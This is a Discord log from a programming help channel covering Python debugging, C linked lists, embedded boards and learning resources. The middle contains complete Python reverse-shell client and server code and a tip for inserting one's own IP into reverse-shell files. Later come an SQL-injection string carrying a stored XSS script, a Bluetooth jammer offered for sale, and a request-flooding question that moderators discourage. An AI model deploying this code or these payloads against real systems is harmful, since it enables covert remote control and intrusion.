            exit()```
#

this causes a recursion error, and i dont know why

#
row2 = [" ", " ", " "]
row3 = [" ", " ", " "]
allRows = [row1, row2, row3]
#

all() just returns True if all items are True. It goes through each tile (item) in each row to see if its the same as all the others

vale cairn
#

print what the output of tile == row[0] for tile in row is because if it isn't returning a list it won't be able to work with the all function

#

At least that's my guess as to why it isn't working

#

@spare swan

#

when in doubt, print it out

spare swan
vale cairn
#

lmk if it is just because it isn't returning a list because then I know if my guess was correct 🙂

spare swan
#
Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']



Row: ['X', ' ', ' ']
X


Row: [' ', ' ', ' ']



Row: [' ', ' ', ' ']```
well now i know why it was spewing out a recursion error
#

I told it to print out each row in the for loop and each tile in the other for loop

#
        print("Row: " + str(row))
        for tile in row:
            tile == row[0]
            print(tile)```
i had to change up the code and remove the all() to be able to print out
vale cairn
#

ahh

spare swan
#

why is it giving me recursion when im only printing out each row in allRows

#

its the same if i do for row in (row1, row2, row3): print(row)

#

it just keeps spamming

#

oh im such a dumbass. I was renaming the function names earlier and somehow renamed a function that was called in check_board(): to to check_board(): so it was recursive

sick scarab
#

So im trying to use the "argparse" library and im stuck on getting the value from the argument. I am taking in a pcap from the user but i am stuck on trying to pass the file to a function. Any tips? Also, I this is what the arguments look like:

parser = argparse.ArgumentParser()
parser.add_argument('-p', '--pcap', help='pcap file to read from', required=True, type=argparse.FileType('r'))
parser.add_argument('-o', '--output-file', help='output file to store TGS [DEFAULT IS <TGSoutput.txt>]', required=False, default='TGSoutput.txt', type=argparse.FileType('w'))
``` Then i have ```options = parser.parse_args()``` in my main function
vale rivet
#

How do I check that my linux disk file .image (ext4/btrfs/etc..) are created successfully or read information whether its corrupted or not like this. Any suggestions how to verify image file that created using DD command are perfect or not?

brazen eagle
hollow dagger
#

Please recommend a solid beginner lever course covering C++ or C#? Currently hearing mixed reviewss about Codeacademy Pro. Thanks

sick scarab
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

inner scaffold
#

A snippet from Singly Linked List.

struct Node * insertAtIndex(struct Node *head, int data, int index){
    struct Node * ptr = (struct Node *) malloc(sizeof(struct Node));
    struct Node * p = head;
    int i = 0;

    while (i!=index-1)
    {
        p = p->next;
        i++;
    }
    ptr->data = data;
    ptr->next = p->next;
    p->next = ptr;
    return head;
}```

Full code here :  https://pastebin.com/m5TG7fkg

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

Now **my question** is for these lines :
```while (i!=index-1)
    {
        p = p->next;
        i++;
    }
    ptr->data = data;
    ptr->next = p->next;
    p->next = ptr;```

Suppose I give 3 as index as argument, so here in the while loop it will check for (index-1) i.e 3-1 = 2, so the loop will run two times... 

LINKS:

//head->next = second;
//second->next = third;
//third->next = fourth;
//fourth->next = NULL; ```

Now in the

1st run:

head = head->next;
i++
}```

2nd  run :

```while(1 !=0){
second = second->next;
i++;
}```

3rd run : 
Logical operator outputs 0 so while loop stops.

So the final value for p should be?

1. ```second = second->next ```
or
2. ```second = third ```

If we take p as in 1, then we have a variable whose value we can update but if we take 2nd case then, we will make a circular list?
Because when we will update the pointers in the next line.. they will point to one another.

In the last line of code snippet.

```ptr->next = p->next;
 p->next = ptr;```

here  what should we replace  p->next with? if we take p = second->next, then 

Would it be like :
```second ->next->next``` 
An extra next then it will be like third->next?

Or 
2. p->next completely replaced by just second->next ?
(no extra next's)

If we take the 2nd case then the code would work fine... But why the 1st case won't happen? We have a value for p and we substitute it?

TL;DR : I am asking should we take the extra next? Why, why not.

**THE CODE RUNS PERFECTLY FINE**
brazen eagle
#

why don't you try drawing it out on paper?

magic falcon
#

Second Hydra's suggestion. Drawing it out on paper or a whiteboard is one of the best things you can learn to do when you need to understand how an algorithm works.

brazen eagle
#

it's stupid but it's amazing how well it works

magic falcon
#

It's really not stupid though - visualization can really help bring it all together, especially when dealing with abstractions like pointers

brazen eagle
#

arrows. arrows everywhere.

halcyon sphinx
#

ifconfig | grep -w 10.* | awk -F inet {'print $2'} actually i am trying to see my IP only using bash but i got this kind of output ```
<Tun0IP> netmask 255.255.0.0 destination <Tun0IP>

magic falcon
#

ifconfig is deprecated

halcyon sphinx
magic falcon
#

ok? how does that change ifconfig being deprecated?

halcyon sphinx
halcyon sphinx
magic falcon
#

many reverse shell source files have a variable that stores a dummy IP address. Get the IP of where the shell should reach out to, copy the original shell file, sed -i the dummy IP to your IP. It shouldn't be super difficult

halcyon sphinx
wispy kestrelBOT
#

Gave +1 Rep to @magic falcon

halcyon sphinx
#

wow, thanks lassi its working perfectly

#

thanks

nimble warren
#

These regex's are always fun TBH

spare swan
#

I'm having trouble with a reverse shell I'm making in python

#
def client_shell(c):
    while True:
        cmd = input(">>>")
        if cmd == "":continue
        else:c[0].send(cmd.encode())
        result = c[0].recv(1024).decode()
        print(result)
        if cmd.lower() in ["quit", "exit", "q", "e"]:
            break```
#

this is my side

true pumice
#

Are you looking to make a reverse shell or a tunnel?

spare swan
#
def get_command():
    while True:
        try:
            command = (s.recv(1024)).decode()
            output = shell(command)
            if output != "":s.send(output.encode())
        except:
            pass
            connect()```
true pumice
#

As in, one is the client & one is the server

spare swan
#

A tunnel, not a reverse shell

true pumice
#

What imports are you working with?

spare swan
#

subprocess for the shell commands, and socket for the connection

#
def shell(cmd):
    output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    return output.stdout```
#

the problem im facing is that whenever i send a command to the client, if the command is invalid, it doesnt send back an empty output, instead, the server side is stuck waiting for an answer

spare swan
true pumice
#

Hah, that's okay 😊

#

Give me a moment to load my IDE

spare swan
#

Sure

#
pc\smajl

>>>echo hi
hi

>>>jhnsdjfg
  ``` its just stuck at the end with a blank line waiting for output
true pumice
#

Okay, so

true pumice
#

I mean, in the code, not in what I replied to 😆

spare swan
#

### SERVER SIDE, starts a shell with connection from client (c)

def client_shell(c):
    while True:
        cmd = input(">>>")
        if cmd == "":continue
        else:c[0].send(cmd.encode())
        result = c[0].recv(1024).decode()
        print(result)
        if cmd.lower() in ["quit", "exit", "q", "e"]:
            break


### CLIENT SIDE, recieves command (1024 bytes) and runs it with a shell function i created, 
### then sends back the output of command to server

def get_command():
    while True:
        try:
            command = (s.recv(1024)).decode()
            output = shell(command)
            if output != "":s.send(output.encode())
        except:
            pass
            connect()

# Shell function, runs command (cmd) and returns output (stdout)

def shell(cmd):
    output = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    return output.stdout```
#

this is not the entire file, i just took the relevant code snippets out and sent it as one message

#

I'm not sure if its the shell function or the s.send(output.encode) thing that is causing the server side shell to freeze

#

things like whoami and dir work perfectly, but it stops working whenever the command i give it is incorrect. When i tried using the shell function in python console using a command that doesnt exist, it just returns an empty "" output, which (i think) shouldn't be causing any errors

true pumice
#

ee

#

You're storing both client and server in the same file?

spare swan
#

No, i just took out code snippets and sent it as one message

true pumice
#

Oh, I see.

spare swan
#

Oh I didn't take a look at stderr. Thanks, ill see if i can fix it

true pumice
#

I don't think so

spare swan
#

CompletedProcess(args='dgfgmj', returncode=1, stdout='', stderr="'dgfgmj' is not recognized as an internal or external command,\noperable program or batch file.\n")
This is command that does not work
CompletedProcess(args='whoami', returncode=0, stdout='pc\\smajl\n', stderr='')
This is a working one

true pumice
#

I honestly need all of your code to debug, I can't do much with snippets, sorry

onyx merlin
#

ezpz

spare swan
#

damn it actually worked lmao

spare swan
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

spare swan
#
def shell(cmd):
    o = subprocess.run(cmd, capture_output=True, shell=True, text=True, encoding="cp850")
    if o.stdout != "" or o.stderr != "": return o.stdout + o.stderr
    else: return str(o.returncode)```
This is what i came up with in the end. It handles if you type a command correct, incorrect, or if you start a program
#

Because returning stderr + stdout didnt work if you did something like "notepad" because it returns both as empty, so instead i return a returncode which is never empty if both stdout and stderr is

true pumice
wispy kestrelBOT
#

Gave +1 Rep to @true pumice

onyx merlin
#

Nothing/empty string

spare swan
#

I nested the thing in a try except so ill check what error it gives me when the output is empty

onyx merlin
#

Really not good

#

You can catch specific types of exceptions, ones that you expect

spare swan
#

The reason I did that initially was because I wanted the revshell to go unnoticed if it spit out any error, but i've removed it

#

Removing the try except thing didnt help anyways because I still get no output whenever the client sends me an empty string as output

#

The client side doesnt give me any errors either

onyx merlin
spare swan
#

Exiting doesnt seem to work for me

#

Might be that i replaced notepad with sublime on my pc lmao

spare swan
real iron
#

just asking why its not printing FizzBuzz

#

when i use &&

onyx merlin
#

If it's a multiple of three, it doesn't check if it's a multiple of 5 or 3&&5

#

Now you can do it this way, but you need to think very carefully about the order the comparisons happen in

real iron
#

i dont get it

onyx merlin
#

No, you don't. Yet.

real iron
#

i still dont get it

onyx merlin
#

What do you mean by tried this?
What did you do with it? Where did you put it?

real iron
onyx merlin
#

Ok, that doesn't address what I was saying at all

#

I'm not talking about the contents of the comparisons

#

I'm talking about something really fundamental. What's the difference between two if statements one after the other, and an if followed by an else if?

real iron
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

onyx merlin
#

14 Fizz FizzBuzz 16 is wrong.

#

And you really really really need to understand the difference between two ifs and an if elseif else structure.

real iron
true pumice
#

@spare swan

client.py

def client():
    import socket

    SERVER = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    HOST = '127.0.0.1' # Replace with your VPN IP
    PORT = 9001

    SERVER.connect((HOST, PORT))
    return SERVER

def listen(SERVER):
    import os
    import subprocess

    while True:
        PAYLOAD = SERVER.recv(1024)
        
        if PAYLOAD[:2].decode("utf-8") == "cd":
            os.chdir(PAYLOAD[3:].decode("utf-8"))

        if len(PAYLOAD) > 0:
            COMMAND = subprocess.Popen(PAYLOAD[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
            OUTPUT = str(COMMAND.stdout.read() + COMMAND.stderr.read(), "utf-8")
            DIRECTORY = os.getcwd() + "> "

            SERVER.send(str.encode(OUTPUT + DIRECTORY))
            print(OUTPUT)

def main():
    listen(client())

if __name__ == '__main__':
    main()
#

server.py

import socket

def bind(HOST, PORT, SERVER):
    if HOST == '':
        HOST = '0.0.0.0'
    
    while True:
        try:
            print(f"Running on {HOST}:" + str(PORT))
            SERVER.bind((HOST, PORT))
            SERVER.listen(5)
            break

        except socket.error as ERROR:
            print("Socket Binding error" + str(ERROR) + "\n" + "Retrying...")


def accept(SERVER):
    CONNECTION, ADDRESS = SERVER.accept()
    print("Incoming connection from " + ADDRESS[0] + ":" + str(ADDRESS[1]))
    send(CONNECTION, SERVER)

def send(CONNECTION, SERVER):
    import sys

    CONNECTION.send(str.encode("whoami"))
    RESPONSE = str(CONNECTION.recv(1024), "utf-8")
    print(f">whoami {RESPONSE}", end="")

    while True:
        try:
            COMMAND = input()
            
            if len(str.encode(COMMAND)) > 0:
                CONNECTION.send(str.encode(COMMAND))
                RESPONSE = str(CONNECTION.recv(1024), "utf-8")
                print(RESPONSE, end="")

        except KeyboardInterrupt:
            CONNECTION.close()
            SERVER.close()
            sys.exit()

def main():
    try:
        HOST = '' # Leave blank, listens on all interfaces
        PORT = 9001
        SERVER = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as ERROR:
        print("Socket creation error: " + str(ERROR))

    bind(HOST, PORT, SERVER)
    accept(SERVER)

if __name__ == '__main__':
    main()
spare swan
wispy kestrelBOT
#

Gave +1 Rep to @true pumice

true pumice
spare swan
true pumice
#

Don't use them 😎

#

It's only a quick write-up, going to optimise it tomorrow, it's midnight rn

spare swan
true pumice
#

Is a joke, will update tomrorow

spare swan
#

Sure

lavish reef
#

Anyone here has experince with frontend/backend ? I need some guidance in reactJS code

sullen venture
jolly osprey
#

Would be good to give as much context as you can

#

mhmm

lavish reef
#

ok so what im doing currently is I have this small project

#

I made this button in the frontend, which when you click, should display an image

#

the image is stored all the way in the backend

#

*/ its an image of a dendrogram

#

thats the function, OnDendogram, which is being called later onwards in the code

#

this all is in the Frontend in /src/Components/Dashboard.js

#

and the picture is in /backend/

#

@sullen venture @jolly osprey ^ thats the context

sullen venture
lavish reef
#

so i have a folder called backend, which has a python script, which runs few code,
then i have a folder which is called frontend, which does some styling and when u click few buttons on it, it uses the backend (running in a flaskenv) and runs some algorithms

jolly osprey
#

I can't answer your question, but please don't ping us. This channel will be monitored by anyone interested in programming, and will answer in their own time. Just a bit of etiquette, no worries

sullen venture
lavish reef
rapid plank
true pumice
#

Mhm

#

Not supposed to be, is

rapid plank
#

Lol i can see it

#

Can use 1 liner for it

true pumice
#

That's not the point lmao

rapid plank
#

Aight

true pumice
#

It's all about the challenge, to see if you can code it

rapid plank
#

Yeah

true pumice
#

No point in going through life copying from pentestmonkey

rapid plank
#

Well not tht but

#

I can code it

#

Bruh im makig an exploit but i feel like its an overkill

#

Making*

onyx merlin
rapid plank
#

Well never verified tht it actually is and im thinking if i should finish it or not

cursive orchid
#

anyone know how to stop burp from reporting a certain issue with the extender api?

#

i've implemented the doPassiveScan method and have it creating an issue, but i also want to stop burp from reporting one of its default issues

inner scaffold
#

Any one suggest me projects to improve my c
I am a beginner but love the feeling when you understand something ,you didn't have a clue the first day.

vital jetty
vernal vigil
#

Build a kernel

whole yacht
#

blobfingerguns c compiler

tame ridge
#

First, realize that, in terms of addresses, the stack grows downwards on x86 machines. Would
buffer overflows be less serious, if the stack would grow from zero towards higher memory addresses
instead? Justify your answer briefly.

magic falcon
#

This sounds like homework

tame ridge
#

Yeah but, it's a good question

magic falcon
#

Right. But it's homework. So your first person to ask is the instructor

brazen eagle
#

I have an intuitive answer....

#

but yeah in general we don't answer homework assignments, they are there to a) evaluate what you (not the internet) knows, and to b) prompt you to do a minimum of research

fading lark
#

I'm probably not qualified for answering it so don't take this as an answer, but doesn't that only have impact on ROP chains?

onyx merlin
fading lark
#

oooohhh

#

yeah right

lilac holly
#

Hello guy's, please I have assignment given to me

Tasks

Access your sandbox and:

Change your working directory to /root

Then, create an empty file so_cool

Advices:

Don’t forget to validate your current working directory

Don’t forget to display the list of files of your current directory to validate the creation of the new file

What should I do here

lilac holly
magic falcon
#

If the directions of the assignment are unclear, or you need help understanding the directions, please see your instructor.

summer iron
#

opengl over vulkan?

lilac holly
magic falcon
#

What part of 'we don't help with homework' do you not understand?

lilac holly
#

dm me if interested in l33t hakka tool that slaps Bluetooth signal :3

onyx merlin
#

@lilac holly what

lilac holly
onyx merlin
lilac holly
#

is to send pic

#

of it

#

:3

onyx merlin
#

Use your words

lilac holly
#

I'm dyslexic am selling Bluetooth jammer tool deved by me personally

true pumice
onyx merlin
coral anchor
#

*How can I

#

How can I fix the attributeError issue

#

Yes I have,it doesn’t seem to help

#

Editing the module and rewriting something I don’t know…

remote echo
coral anchor
#

Let me go through them

remote echo
#

You can spot the mistake right away

vital jetty
#

hey everyone, I'm working on a personal project to try and exercise/ grow my python knowledge. One thing I want to dabble with is non-volatile memory and file manipulation. I want to basically store information in a formatted context so I can read and edit it later. The two file formats I was looking at was either txt with some regex and groups, or json. I already began to build the json file, how its formatted, the handlers, ect. I was wondering if there were other methods (file formats or anything) that are more relevant to an application like this or more commonly used so I can practice using it (or if anyone has any other suggestions, im always open them :) )

onyx merlin
#

Pickle.

#

Also an actual database

vital jetty
#

I'll take a look into it thank you! I have never heard of it.

coral anchor
#

It worked by uninstalling nmap and reinstalling python-nmap

vital jetty
# onyx merlin Pickle.

so I looked at it, and from my understanding its used mainly for storage of large data sets. I have a few questions about it

  1. how often is it used/ how often have you used it or encountered it?
  2. does it work ok with a lot of potential back to back read/write operations?
onyx merlin
#

You need a database

vital jetty
#

would something like sqlite be worth looking into then?

onyx merlin
#

That's indeed a database, good for small scale stuff.

vital jetty
#

That's exactly what I'm looking for then, thank you again.

lilac holly
#

can someone suggest me a good course for java script? i am new and don't know which one should i select

lilac holly
#

thats problem man

#

selecting true one and better for begginer is the main problem

true pumice
#

Ngl, I’d suggest doing a beginner python course and learning the basics, then go into JS tutorials. Will be so much easier

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

molten ridge
#

Anyone got any interesting project going on?

true pumice
#

I have a bunch, just moving between them as I go

molten ridge
#

That is good same here!

#

Trying to finish them when i find the time to

true pumice
#

A lot of my projects are just tools so that I can use my own tools instead of others, but a few are for fun

molten ridge
#

I understand and i agree feels good to do that!

lilac holly
#

n

vestal carbon
#

@true pumice jabs jabs, plz pin

true pumice
vestal carbon
#

Resources for learning python:

  1. https://youtu.be/rfscVS0vtbw
  2. https://www.w3schools.com/python/
  3. https://www.youtube.com/watch?v=8DvywoWv6fI&ab_channel=freeCodeCamp.org

Practice Python:

  1. https://edabit.com/challenges/python3
  2. https://www.w3resource.com/python-exercises/python-basic-exercises.php

Resources for learning javascript:

  1. https://www.youtube.com/watch?v=PkZNo7MFNFg&ab_channel=freeCodeCamp.org
  2. https://www.w3schools.com/js/DEFAULT.asp
  3. https://www.youtube.com/watch?v=2qDywOS7VAc&ab_channel=Academind

Practice Javascript:

  1. https://edabit.com/challenges/javascript
  2. https://www.w3resource.com/javascript-exercises/javascript-basic-exercises.php

Resources for learning html:

  1. https://www.youtube.com/watch?v=pQN-pnXPaVg&ab_channel=freeCodeCamp.org
  2. https://www.w3schools.com/html/

Resources for learning css:

  1. https://youtu.be/1Rs2ND1ryYc
  2. https://www.w3schools.com/css/

Build a website with html and css:
https://youtu.be/ZeDP-rzOnAA

Resources for learning java:

  1. https://youtu.be/grEKMHGYyns
  2. https://www.w3schools.com/java/

Practice Java:

  1. https://edabit.com/challenges/java
  2. https://www.w3resource.com/java-exercises/

Resources for learning C:

  1. https://www.learn-c.org/
  2. https://youtu.be/KJgsSFOSQv0

Resources for learning C++:

  1. https://youtu.be/mUQZ1qmKlLY
  2. https://www.learn-cpp.org/

Resources for learning C#:

  1. https://www.learn-cpp.org/
  2. https://youtu.be/qOruiBrXlAw

Resources for learning LUA:

  1. https://youtu.be/iMacxZQMPXs
  2. https://www.tutorialspoint.com/lua/index.htm
  3. https://youtube.com/playlist?list=PLsbxI7NIoTth8CE_os8sog72YTMLPhDSf -> Roblox Scripting
cedar rose
#

anyone up? need help for java

lilac holly
#

Please, how can I used termux to do my task on ALX.. I'm using my phone, how do I connect my git to work in webterminal aka " termux " I will clone git repository"

magic falcon
#

They needed help with an assignment.

ripe vault
#

well I extracted an ISO from forza horizon 2 for xbox 360 and I wanted to modify its audio files to put other music but I don't know where to start or what I need, can anyone help me?

#

I won't make this available for obvious reasons, it's just to have other songs in the game anyway

true pumice
#

Seems that Forza often bans any type of modification, whether or not it’s to get a competitive advantage or just cosmetically

ripe vault
#

ah yes but in my case I don't play online, it would just be to drive listening to other songs on the radio you know?

hollow dagger
wispy kestrelBOT
#

Gave +1 Rep to @vestal carbon

hollow dagger
#

Is okay for me to proceed in this order: Powershell >> Python >> C# / C++ ?

onyx merlin
ripe vault
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

lyric mirage
#

I remember on the old OG Xbox you could save music to the console and play it in the background of GTA and stuff.

sly breach
#

this is my debug process

lyric mirage
#

It's a good one!

#

haha.

lethal flax
magic falcon
#

Ben we need to have a conversation about best practices on this subject

sly breach
#

🤣

#

please don't tell me you're also going to say that I need to comment my code?

#

😄

sly breach
#

I am semi jk about that

#

Yes if I expect others to read it

lyric mirage
#

If it's something I'm knocking about for fun I don't.

teal delta
#

Hi everyone, can we ask for help and tips on this channel?

onyx merlin
hollow badge
#

Im trying to get the hang of SQLi and XSS, and starting to get the hang of it.

However: In my lab i made this: a'"; UPDATE users SET name=<script>alert('Malicious activity')</script> WHERE name="John";--"

This seems to me to be an example for Stored XSS, since the script is entered in the DB, and is run when another user looks up "John".

But is this an example of Store XSS? Or is this SQL injection, since i am injection a script using a query? ... or neither? 🙂

#

(Please send me in the right direction if im in the wrong place 🙂 )

#

True, that makes sense...

cursive orchid
#

i don't know what the context is but

#

in a pentest, you'd have two separate findings there

onyx merlin
cursive orchid
#

i would

#

because the input is being sanitised on the way in only

onyx merlin
#

Assuming the name is filtered properly on input, it's not really a second finding?

cursive orchid
#

ideally input should be sanitised ingress and egress

onyx merlin
cursive orchid
#

i agree

#

but it's not being handled safely

#

because the js is still being executed

#

not outputted as text

onyx merlin
#

Arguably it's a failure of filters on both sides too, because you had to somehow put the payload in

brazen eagle
brazen eagle
onyx merlin
#

Because input isn't being filtered, nor is output

brazen eagle
#

But I mean technically a stored xss would likely be using SQL to store the xss ..

onyx merlin
#

I don't see how that'd counter anything though

#

If you're using prepared statements, it's still going to store the payload

brazen eagle
onyx merlin
#

Poooooooor practice

#

You should be using safe queries

brazen eagle
#

In addition to yes

#

I didn't mean only sanitizing, there are 2 vulns to fix

onyx merlin
#

Filtering special chars is sad and unnecessary if you have written good code

brazen eagle
#

At least transform to non-executable code

#

In addition to proper queries

onyx merlin
#

I'd mitigate the XSS separately, by making sure the content is injected into the page sensibly

#

Eg using textContent over innerHtml in JS

brazen eagle
#

Yes

#

That's also what I was trying to say

wet hull
#

just curious but how many of y'all do embedded systems programming?

sly breach
#

in theory and academically speaking yes

#

I do program (on) embedded systems

#

but I am not an embedded systems programmer

wet hull
#

the difference being you aren't writing stuff like linker files?

sly breach
#

more or less 😄

#

that and although I do program embedded systems I'm no where near comfortable enough to call myself an expert / knowledgeable

wet hull
#

Yeah I've done the intro to embedded systems course on coursera and another really good one on github but wondering what else to do

#

I'm basically messing with arduinos and following the Arduino Workshop and Bare Metal C books

sly breach
#

arduinos are a nice playground

wet hull
#

I mean is that low-level enough? It seems super convenient that you never have to write out any hardware abstraction layers

magic falcon
#

I have done a couple of professional and professional-ish projects on embedded systems

#

Arduino is a bad place to start for embedded; if you go into a job interview for embedded with arduino being on your resume, you will likely not make it past that round

sly breach
#

really?

#

wow

#

I mean, I'd have thought they're nice platforms to implement certain design considerations like power, memory management, etc

magic falcon
# wet hull What's a good place?

A lot of embedded devices are using ARM Cortex chips; NXP, STM are both very common dev boards for RTOS, RTOS-lite, and bare metal applications

wet hull
magic falcon
#

Arduino and rpi are both looked down on by 'real embedded engineers'. Many of those folks are very old school, and see the arduino as being too easy. A lot of that comes from the tolerances that arduino can accept and output on GPIO

wet hull
#

I'm doing arduino more for the hardware aspect

magic falcon
#

You'll get more traction if you want to do embedded professional if you by an F-series STM board and use something like mBed than you will with using an Arduino Uno; some of the bigger Arduino boards (MEGA, I think?) can run a full kernel, but I don't think those are particularly accepted in industry, either.
An alternative would be to actually run RTOS and do some robotics prototyping.

wet hull
#

That sounds super fun and yeah I've been flip-flopping between arduino and the STM board. It's funny how much easier it is doing stuff on arduino than on the Nucleo board

magic falcon
#

That's by design; arduino was a project intended for grammar school and middle school kids to get their feet wet with robotics projects; it's not intended for industry grade projects

#

That's why you can drive up to 12v out of the GPIO on an arduino for basic DC motor controls, but that would fry a Nucleo or Freedom board.

wet hull
#

12V from an arduino mega?

magic falcon
#

IIRC from the Uno

wet hull
#

hmmmm I think the Uno requires a BJT to drive stuff higher than 5V like a relay

magic falcon
#

Probably; I watched a junior engineer burn out a half dozen NXP boards driving motors before he asked for help

wet hull
#

LMAO oh no!!!

magic falcon
#

The problem was, the motors were drawing way more current than the NXP could draw (I think 500mA?) and toasted the board

#

We threw in a couple of h bridges and a real power source, all was fine

wet hull
#

Good deal! You have a preferred NXP board for RTOS development?

magic falcon
#

It's been 6 years since I touched that world, I would imagine you can just pick your favorite off digikey or arrow and have at

wet hull
#

Thanks, appreciate your insight man!

real iron
#
    answer = int(input("(1) Addition\n(2) Subtraction\n(3) Multiplication\n(4) Division\n(5) Remainder\n(6) Exit\nChoose an option\n"))

    if answer == 1:
        x = int(input("X: "))
        y = int(input("Y: "))
        print(f"Sum of {x} and {y} is", (x + y))
        print("------------------\n")
        time.sleep(3)
    elif answer == 2:
        x = int(input("X: "))
        y = int(input("Y: "))
        print(f"Difference of {x} and {y} is", (x - y))
        print("------------------\n")
        time.sleep(3)
    elif answer == 3:
        x = int(input("X: "))
        y = int(input("Y: "))
        print(f"Product of {x} and {y} is", (x * y))
        print("------------------\n")
        time.sleep(3)
    elif answer == 4:
        x = int(input("X: "))
        y = int(input("Y: "))
        print(f"Quotient of {x} and {y} is", (x / y))
        print("------------------\n")
        time.sleep(3)
    elif answer == 5:
        x = int(input("Dividend: "))
        y = int(input("Divisor: "))
        print(f"Remainder of {x} and {y} is", (x % y))
        print("------------------\n")
        time.sleep(3)
    elif answer == 6:
        break;
    else:
        print("Usage: 1, 2, 3, 4, 5, 6") ```
#

calculator i made what do you guys think

soft marlin
#

WOW

#

sorry caps but i think thats pretty elegant

real iron
onyx merlin
lyric mirage
#

That's seems more complex than mine.

#

num1 = int(input("First number  :"))
op = input("Which calculation would you like to do? :")
num2 = int(input("Second number :"))


if op == "+":
    print(num1, "+", num2, "=", (num1+num2))
elif op == "-":
    print(num1, "-", num2, "=", (num1-num2))
elif op == "*":
    print(num1, "*", num2, "=", (num1*num2))
elif op == "/":
    print(num1, "/", num2, "=", (num1/num2))
else:
    print("No valid op provided")```
#

That was the first thing I ever done, and I learned not to do it again 😂

brazen eagle
#

What happens if you have embedded calculations as well?

#

Like 5 * 1 + 2

#

Prompting is never the most efficient way to get data, and also hurts interaction with other programs and/or automation tooling

#

/rant

floral fractal
#

Thank you for the motivation !!! 😂

safe wind
#

who can help me with some python?

lyric mirage
safe wind
#

for index in range(len(list)):
    print(str(index))```
#

what can i do insted to get index of a looping object?

tropic minnow
#

there's the enumerate function which gets the index and element in the list so

for i,e in enumerate(list):
     print(f"index is {i} and element is {e}")
safe wind
wispy kestrelBOT
#

Gave +1 Rep to @tropic minnow

safe wind
#

how did you highlight the code?

tropic minnow
#

```python
<code goes here>
```

safe wind
real iron
wispy kestrelBOT
#

Gave +1 Rep to @onyx merlin

real iron
real iron
lyric mirage
real iron
brazen eagle
magic falcon
#

I like argparse. It's not the cleanest CLI implementation, but it is part of the standard library

lyric mirage
magic falcon
wispy socket
#

in python, is a way to use a request from BurpSuite ?

brazen eagle
brazen eagle
real iron
#

not saying yours is but i want to make something that hasn't been done before

wispy socket
brazen eagle
#

not too hard, but I've never tried the python APIs

real iron
wispy kestrelBOT
#

Gave +1 Rep to @brazen eagle

wispy socket
brazen eagle
#

no you don't

#

😛

wispy socket
#

not to do stupid things

brazen eagle
#

so don't reinvent the wheel for one

#

there are likely modules that already exist

real iron
#

maybe check out how they made this

wispy socket
#

ok

real iron
#

but idk

brazen eagle
#

be warned that DOSing live targets is a bannable offence

wispy socket
#

i dont know if the "Repeater" from BurpSuite do the same thing

real iron
#

and a federal offense in the US

brazen eagle
#

criminal offence in a lot of countries

#

and will also open you to civil liability

true pumice
#

I would recommend against dropping denial of service scripts when an administrator is telling a user that they want to avoid doing something unethical. Whether or not you had a negative intention, there's no ethical way to use a DoS tool.

wispy socket
true pumice
#

Did you get permission to pentest the app?

wispy socket
#

is not really a pentest

real iron
wispy socket
#

just send more messages

true pumice
wispy socket
#

yeah, but i dont make an illegal thing

brazen eagle
#

yeah it's a strange app, but I assume it can be abused

wispy socket
#

i just send a lot of messages to me

brazen eagle
#

you probably don't need burp tbh

real iron
#

can you make a loop in bash with curl

wispy socket
#

the stupid thing is that you dont need to make an account to send messages to another person

real iron
#

would that work?

#

for a request repeater

brazen eagle
#

probably, but you'll have to rate-limit to avoid overloading the service

#

but I'm going to stop that line here

wispy socket
#

this is my link

true pumice
#

I'm removing that ^

wispy socket
#

ok no problem

#

yep

brazen eagle
#

they also stipulate that they can take legal action against you

#

so I suggest you cut your losses here 🙂

real iron
#

yeah that is what it says

brazen eagle
#

this part too

#

knowing this, @wispy socket , do you still intend to continue?

wispy socket
#

nope creepypog

brazen eagle
#

good answer

wispy socket
#

just for curiosity, if i would have used on my account, there would have been no problem

onyx merlin
safe wind
#

browsing.py```python
import undetected_chromedriver as uc
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from sys import argv

def getLastChapterANDmangaName(url):
options = Options()
options.add_argument("--headless")
driver = uc.Chrome(options=options)
driver.get(url)
lastChapter = str(driver.find_element(By.CSS_SELECTOR, "html#site_type body div#main-page.page div.page__inner div.container.container_responsive div.media-container div.media-sidebar div.media-info-list.paper div.media-info-list__item div.media-info-list__value.text-capitalize").text)
mangaName = driver.find_element(By.CLASS_NAME, "media-name__main").text
print(f'{lastChapter}¿{mangaName}')
driver.quit()
#return lastChapter,mangaName

if name == "main":
getLastChapterANDmangaName(argv[1])

#

how can i change the code that i could just import the function getLastChapterANDmangaName() from the first code but without if __name__ == "__main__": it doesn't work

true pumice
safe wind
#

I already just did a wrapper function and it works

wispy kestrelBOT
#

Gave +1 Rep to @true pumice

true pumice
#

It’s best to let use know when you’ve resolved your problem^

safe wind
nimble warren
#

or maybe she can use anilist or mal kekw

teal delta
#

I'm trying to create a bot for a candy crush clone, i want to exploit the fact that after a few seconds the game shows you the best move by making the line of candies glow and pulse (zoom in a bit then back to normal) and the one candy that needs to be moved does the same thing but it also moves in the direction you need to swipe to and then back to normal. They do this endlessly, i was thinking of using opencv to find the only element on the screen that is moving in one direction and not just growing in all directions but i don't have a clue on how to start, what should I put my effort into?

#

All the automation up to that point was done with pyautogui

safe wind
#

Is it possible to call variables with something like f”variable _{number}” in python?

true pumice
safe wind
#

But can I then call them dynamically?

true pumice
#

You can do it with dictionaries however but this also has it's problems.
I think something like this should work:

dictionary = {}
x = 0
while x < 10:

    key = "name"
    value = "value"
